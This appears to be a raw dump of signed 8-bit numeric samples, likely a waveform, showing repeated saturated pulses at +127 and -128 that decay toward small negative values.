+-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-17 +-18 +-17 +-17 +-17 +-17 +-17 +-18 +-17 +-99 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-109 +-103 +-80 +-91 +-70 +-82 +-77 +-73 +-69 +-66 +-62 +-59 +-56 +-53 +-51 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-28 +-27 +-26 +-25 +-24 +-23 +-22 +-22 +-21 +-20 +-20 +-19 +-19 +-19 +-19 +-18 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-14 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-11 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-14 +-13 +-14 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +116 +110 +108 +104 +100 +96 +90 +84 +79 +72 +66 +59 +53 +47 +42 +37 +33 +29 +26 +23 +20 +17 +15 +12 +11 +9 +7 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-10 +-11 +-11 +-12 +-12 +-12 +-13 +-13 +-13 +-14 +-14 +-14 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-18 +-18 +-18 +-18 +-17 +-17 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-17 +-18 +-18 +-18 +-18 +-18 +-18 +-99 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-102 +-97 +-92 +-71 +-82 +-77 +-73 +-70 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-27 +-26 +-25 +-24 +-24 +-24 +-22 +-22 +-22 +-21 +-20 +-20 +-19 +-19 +-19 +-18 +-18 +-17 +-17 +-16 +-16 +-16 +-16 +-15 +-16 +-15 +-15 +-14 +-15 +-14 +-14 +-13 +-14 +-14 +-14 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +115 +110 +107 +103 +100 +95 +91 +85 +79 +72 +66 +59 +53 +47 +42 +38 +34 +30 +26 +23 +20 +17 +15 +12 +11 +8 +6 +5 +4 +2 +1 +0 +-1 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-94 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-106 +-98 +-107 +-101 +-80 +-91 +-69 +-80 +-77 +-73 +-69 +-65 +-62 +-59 +-56 +-52 +-50 +-48 +-46 +-44 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-27 +-26 +-25 +-25 +-24 +-22 +-22 +-21 +-20 +-20 +-19 +-19 +-19 +-18 +-18 +-17 +-18 +-17 +-17 +-17 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-11 +-12 +-12 +-12 +-12 +-14 +-14 +-13 +-13 +-13 +-14 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-12 +-13 +-13 +-14 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +115 +110 +108 +103 +99 +95 +90 +84 +79 +72 +66 +59 +54 +48 +42 +37 +34 +30 +26 +22 +20 +17 +15 +13 +11 +10 +8 +6 +4 +3 +2 +0 +-1 +-2 +-4 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-98 +-107 +-102 +-97 +-91 +-69 +-81 +-77 +-73 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-43 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +-25 +-25 +-24 +-23 +-22 +-22 +-22 +-21 +-20 +-20 +-19 +-18 +-18 +-18 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +119 +114 +110 +107 +102 +98 +93 +88 +82 +76 +70 +64 +57 +50 +45 +40 +34 +30 +26 +23 +21 +18 +15 +13 +11 +9 +7 +5 +4 +3 +1 +0 +-1 +-2 +-4 +-5 +-6 +-7 +-8 +-8 +-10 +-10 +-11 +-11 +-12 +-12 +-95 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-108 +-101 +-79 +-90 +-69 +-80 +-76 +-72 +-70 +-65 +-61 +-58 +-56 +-53 +-49 +-48 +-46 +-44 +-41 +-39 +-37 +-36 +-34 +-32 +-32 +-31 +-30 +-28 +-27 +-26 +-25 +-24 +-23 +-22 +-21 +-21 +-20 +-20 +-20 +-19 +-19 +-19 +-18 +-18 +-17 +-18 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-16 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-13 +-14 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +115 +110 +107 +104 +100 +95 +91 +85 +79 +72 +66 +59 +53 +46 +42 +37 +33 +28 +25 +23 +20 +18 +16 +13 +11 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-108 +-101 +-80 +-91 +-70 +-81 +-77 +-73 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +112 +108 +104 +101 +98 +93 +88 +82 +76 +70 +64 +58 +52 +46 +42 +37 +32 +29 +26 +22 +19 +16 +14 +12 +10 +8 +6 +5 +4 +2 +1 +0 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-7 +-8 +-8 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-100 +-79 +-91 +-70 +-81 +-77 +-72 +-68 +-65 +-61 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-41 +-40 +-38 +-37 +-35 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-26 +-25 +-24 +-23 +-22 +-22 +-21 +-20 +-20 +-20 +-19 +-19 +-19 +-19 +-19 +-18 +-18 +-17 +-17 +-16 +-15 +-16 +-15 +-15 +-14 +-15 +-15 +-15 +-14 +-15 +-15 +-16 +-14 +-14 +-14 +-15 +-14 +-14 +-13 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +116 +111 +108 +104 +100 +95 +90 +84 +79 +71 +65 +58 +53 +47 +43 +38 +34 +29 +26 +23 +20 +17 +15 +12 +11 +9 +7 +5 +4 +2 +2 +0 +-1 +-2 +-3 +-4 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-100 +-110 +-103 +-79 +-91 +-70 +-82 +-77 +-72 +-69 +-65 +-62 +-59 +-56 +-53 +-50 +-47 +-45 +-43 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +112 +107 +105 +102 +98 +93 +88 +82 +76 +70 +64 +58 +52 +46 +41 +36 +32 +29 +25 +22 +20 +16 +14 +12 +10 +8 +7 +5 +4 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-14 +-14 +-15 +-15 +-16 +-15 +-15 +-16 +-16 +-15 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-16 +-17 +-17 +-17 +-17 +-18 +-17 +-18 +-18 +-18 +-18 +-99 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-99 +-108 +-102 +-97 +-91 +-70 +-82 +-77 +-72 +-69 +-65 +-62 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-42 +-40 +-37 +-36 +-34 +-34 +-32 +-30 +-30 +-29 +-27 +-26 +-25 +-25 +-24 +-23 +-22 +-22 +-22 +-21 +-20 +-20 +-19 +-19 +-18 +-18 +-17 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-15 +-15 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-14 +-13 +-14 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-14 +-14 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-14 +-14 +-14 +-14 +-12 +-13 +-13 +-14 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-14 +-13 +-12 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-11 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-14 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +116 +112 +108 +104 +101 +96 +91 +84 +79 +72 +66 +59 +53 +47 +42 +37 +33 +29 +26 +23 +20 +17 +15 +12 +11 +9 +7 +6 +4 +3 +1 +0 +-1 +-2 +-3 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-11 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-108 +-101 +-79 +-90 +-69 +-81 +-76 +-73 +-69 +-66 +-63 +-59 +-56 +-53 +-50 +-48 +-45 +-42 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +-24 +-23 +-23 +-22 +-21 +-20 +-20 +-19 +-18 +-18 +-18 +-18